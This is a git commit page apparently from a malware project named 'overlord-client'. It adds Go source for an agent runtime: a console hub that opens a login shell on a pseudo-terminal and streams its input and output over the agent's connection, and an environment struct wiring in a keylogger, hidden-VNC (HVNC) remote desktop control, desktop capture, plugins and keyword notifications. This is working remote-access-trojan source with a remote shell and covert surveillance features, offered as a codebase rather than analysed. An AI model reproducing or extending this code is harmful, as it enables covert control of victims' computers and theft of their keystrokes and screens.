inital commit
This commit is contained in:
KingKDot
@@ -0,0 +1,209 @@
|
||||
package runtime
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/creack/pty"
|
||||
)
|
||||
|
||||
type ConsoleHub struct {
|
||||
env *Env
|
||||
mu sync.Mutex
|
||||
sessions map[string]*ConsoleSession
|
||||
}
|
||||
|
||||
type ConsoleSession struct {
|
||||
id string
|
||||
cmd *exec.Cmd
|
||||
pty *os.File
|
||||
cancel context.CancelFunc
|
||||
once sync.Once
|
||||
}
|
||||
|
||||
type ConsoleStartRequest struct {
|
||||
SessionID string
|
||||
Cols int
|
||||
Rows int
|
||||
}
|
||||
|
||||
func NewConsoleHub(env *Env) *ConsoleHub {
|
||||
return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)}
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error {
|
||||
if req.SessionID == "" {
|
||||
return fmt.Errorf("missing session id")
|
||||
}
|
||||
|
||||
cols := uint16(req.Cols)
|
||||
rows := uint16(req.Rows)
|
||||
if cols == 0 {
|
||||
cols = 120
|
||||
}
|
||||
if rows == 0 {
|
||||
rows = 36
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
if existing, ok := h.sessions[req.SessionID]; ok {
|
||||
existing.close()
|
||||
delete(h.sessions, req.SessionID)
|
||||
}
|
||||
h.mu.Unlock()
|
||||
|
||||
shell := detectShell()
|
||||
sessionCtx, cancel := context.WithCancel(ctx)
|
||||
cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...)
|
||||
cmd.Env = os.Environ()
|
||||
|
||||
ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
|
||||
if err != nil {
|
||||
cancel()
|
||||
h.emitError(ctx, req.SessionID, err)
|
||||
return err
|
||||
}
|
||||
|
||||
sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel}
|
||||
h.mu.Lock()
|
||||
h.sessions[req.SessionID] = sess
|
||||
h.mu.Unlock()
|
||||
|
||||
go h.forwardOutput(sessionCtx, sess)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Write(ctx context.Context, sessionID string, data string) error {
|
||||
sess := h.get(sessionID)
|
||||
if sess == nil {
|
||||
return fmt.Errorf("session not found")
|
||||
}
|
||||
_, err := sess.pty.Write([]byte(data))
|
||||
return err
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error {
|
||||
sess := h.get(sessionID)
|
||||
if sess == nil {
|
||||
return fmt.Errorf("session not found")
|
||||
}
|
||||
if cols <= 0 {
|
||||
cols = 120
|
||||
}
|
||||
if rows <= 0 {
|
||||
rows = 36
|
||||
}
|
||||
return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)})
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) Stop(sessionID string) {
|
||||
h.mu.Lock()
|
||||
sess := h.sessions[sessionID]
|
||||
delete(h.sessions, sessionID)
|
||||
h.mu.Unlock()
|
||||
if sess != nil {
|
||||
sess.close()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) StopAll() {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
ids := make([]string, 0, len(h.sessions))
|
||||
for id := range h.sessions {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
h.mu.Unlock()
|
||||
for _, id := range ids {
|
||||
h.Stop(id)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, err := sess.pty.Read(buf)
|
||||
if n > 0 {
|
||||
chunk := make([]byte, n)
|
||||
copy(chunk, buf[:n])
|
||||
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
|
||||
}
|
||||
if err != nil {
|
||||
if err != io.EOF {
|
||||
h.emitError(ctx, sess.id, err)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if sess.cmd != nil {
|
||||
_ = sess.cmd.Wait()
|
||||
}
|
||||
exitCode := extractExitCode(sess.cmd)
|
||||
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
|
||||
|
||||
h.mu.Lock()
|
||||
delete(h.sessions, sess.id)
|
||||
h.mu.Unlock()
|
||||
sess.close()
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) {
|
||||
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
|
||||
}
|
||||
|
||||
func (h *ConsoleHub) get(sessionID string) *ConsoleSession {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
return h.sessions[sessionID]
|
||||
}
|
||||
|
||||
func (sess *ConsoleSession) close() {
|
||||
sess.once.Do(func() {
|
||||
if sess.cancel != nil {
|
||||
sess.cancel()
|
||||
}
|
||||
if sess.cmd != nil && sess.cmd.Process != nil {
|
||||
_ = sess.cmd.Process.Kill()
|
||||
}
|
||||
if sess.pty != nil {
|
||||
_ = sess.pty.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func detectShell() []string {
|
||||
if runtime.GOOS == "windows" {
|
||||
if c := os.Getenv("COMSPEC"); c != "" {
|
||||
return []string{c}
|
||||
}
|
||||
return []string{"cmd.exe"}
|
||||
}
|
||||
if sh := os.Getenv("SHELL"); sh != "" {
|
||||
return []string{sh, "-l"}
|
||||
}
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []string{"/bin/zsh", "-l"}
|
||||
}
|
||||
return []string{"/bin/bash", "-l"}
|
||||
}
|
||||
|
||||
func extractExitCode(cmd *exec.Cmd) int {
|
||||
if cmd == nil || cmd.ProcessState == nil {
|
||||
return -1
|
||||
}
|
||||
if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok {
|
||||
return status.ExitStatus()
|
||||
}
|
||||
return -1
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package runtime
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/keylogger"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
type Env struct {
|
||||
Conn wire.Writer
|
||||
Cfg config.Config
|
||||
Cancel context.CancelFunc
|
||||
Console *ConsoleHub
|
||||
SelectedDisplay int
|
||||
MouseControl bool
|
||||
KeyboardControl bool
|
||||
CursorCapture bool
|
||||
DesktopDuplication bool
|
||||
DesktopCancel context.CancelFunc
|
||||
DesktopDone chan struct{}
|
||||
DesktopMu sync.Mutex
|
||||
// HVNC fields
|
||||
HVNCSelectedDisplay int
|
||||
HVNCMouseControl bool
|
||||
HVNCKeyboardControl bool
|
||||
HVNCCursorCapture bool
|
||||
HVNCCancel context.CancelFunc
|
||||
HVNCDone chan struct{}
|
||||
HVNCMu sync.Mutex
|
||||
// Other fields
|
||||
Plugins *plugins.Manager
|
||||
Keylogger *keylogger.Keylogger
|
||||
NotificationMu sync.RWMutex
|
||||
NotificationKeywords []string
|
||||
NotificationMinIntervalMs int
|
||||
LastPongUnixMs int64
|
||||
}
|
||||
|
||||
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) {
|
||||
e.NotificationMu.Lock()
|
||||
e.NotificationKeywords = keywords
|
||||
if minIntervalMs > 0 {
|
||||
e.NotificationMinIntervalMs = minIntervalMs
|
||||
}
|
||||
e.NotificationMu.Unlock()
|
||||
}
|
||||
|
||||
func (e *Env) GetNotificationKeywords() []string {
|
||||
e.NotificationMu.RLock()
|
||||
defer e.NotificationMu.RUnlock()
|
||||
if len(e.NotificationKeywords) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]string, len(e.NotificationKeywords))
|
||||
copy(out, e.NotificationKeywords)
|
||||
return out
|
||||
}
|
||||
|
||||
func (e *Env) GetNotificationMinIntervalMs() int {
|
||||
e.NotificationMu.RLock()
|
||||
defer e.NotificationMu.RUnlock()
|
||||
return e.NotificationMinIntervalMs
|
||||
}
|
||||
|
||||
func (e *Env) SetLastPong(tsMillis int64) {
|
||||
if tsMillis <= 0 {
|
||||
tsMillis = time.Now().UnixMilli()
|
||||
}
|
||||
atomic.StoreInt64(&e.LastPongUnixMs, tsMillis)
|
||||
}
|
||||
|
||||
func (e *Env) LastPong() time.Time {
|
||||
ms := atomic.LoadInt64(&e.LastPongUnixMs)
|
||||
if ms <= 0 {
|
||||
return time.Time{}
|
||||
}
|
||||
return time.UnixMilli(ms)
|
||||
}
|
||||
|
||||
func Hostname() string {
|
||||
h, err := os.Hostname()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
func CurrentUser() string {
|
||||
if u := os.Getenv("USERNAME"); u != "" {
|
||||
return u
|
||||
}
|
||||
if u := os.Getenv("USER"); u != "" {
|
||||
return u
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func MinDuration(a, b time.Duration) time.Duration {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
Reference in New Issue
Block a user